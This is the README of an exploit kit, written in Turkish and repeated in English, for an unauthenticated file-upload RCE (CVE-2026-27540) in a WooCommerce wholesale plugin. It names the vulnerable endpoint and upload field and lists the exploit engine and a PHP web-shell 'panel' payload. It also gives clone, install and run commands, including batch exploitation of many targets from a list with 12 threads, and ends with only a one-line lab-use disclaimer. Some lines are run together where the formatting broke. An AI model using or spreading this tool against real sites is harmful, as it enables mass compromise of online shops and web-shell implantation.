Python exploit suite for CVE-2026-27540, an unauthenticated file upload RCE in the WooCommerce Wholesale Lead Capture plugin, with fingerprinting, batch targeting, and an RCE panel payload.
WooCommerce Wholesale Lead Capture (WWLC) — Kimlik doğrulamasız dosya yükleme → RCE
| Ürün | WooCommerce Wholesale Lead Capture — wwlc eklentisi |
| Sürüm | ≤ 2.0.3.1 |
| Fixed | 2.0.3.2+ — upload handler korumalı |
| Auth | Unauthenticated |
| Vektör | admin-ajax.php?action=wwlc_file_upload_handler |
| Field | file (multipart upload) |
| Yazılan yer | WordPress uploads dizini |
| Payload | payloads/x7-panel.php |
wwlc_file_upload_handler POST rate-limitgit clone https://github.com/winrarzipsexploit/CVE-2026-27540.git
cd CVE-2026-27540
pip install -r requirements.txt
| Dosya | Görev |
|---|---|
winrarzips_brand.py | CMD banner (by winrarzips) |
wwlc_core.py | Exploit motoru |
CVE-2026-27540-Suite.py | Batch + tek hedef CLI |
payloads/x7-panel.php | RCE panel |
requirements.txt | Bağımlılıklar |
❌ Hedef listesi, tarama sonucu ve panel URL'leri repo'da yok.
python CVE-2026-27540-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-27540-Suite.py -u https://LAB-URL --yes
python CVE-2026-27540-Suite.py -f targets.txt --yes --threads 12
patched_version_* · plugin_not_found · wwlc_absent_or_blocked · upload_ok_verify_failed
WooCommerce Wholesale Lead Capture (WWLC) — Unauthenticated file upload → RCE
| Product | WooCommerce Wholesale Lead Capture — wwlc plugin |
| Affected | ≤ 2.0.3.1 |
| Fixed | 2.0.3.2+ — upload handler hardened |
| Auth | Unauthenticated |
| Vector | admin-ajax.php?action=wwlc_file_upload_handler |
| Field | file (multipart upload) |
| Write path | WordPress uploads directory |
| Payload | payloads/x7-panel.php |
wwlc_file_upload_handler POST requestsgit clone https://github.com/winrarzipsexploit/CVE-2026-27540.git
cd CVE-2026-27540
pip install -r requirements.txt
| File | Role |
|---|---|
winrarzips_brand.py | CMD banner (by winrarzips) |
wwlc_core.py | Exploit core |
CVE-2026-27540-Suite.py | Batch + single-target CLI |
payloads/x7-panel.php | RCE panel payload |
requirements.txt | Dependencies |
❌ Target lists, scan results and live panel URLs are not included.
python CVE-2026-27540-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-27540-Suite.py -u https://LAB-URL --yes
python CVE-2026-27540-Suite.py -f targets.txt --yes --threads 12
patched_version_* · plugin_not_found · wwlc_absent_or_blocked · upload_ok_verify_failed
⚠️ Authorized testing / lab use only · Yalnızca yetkili test
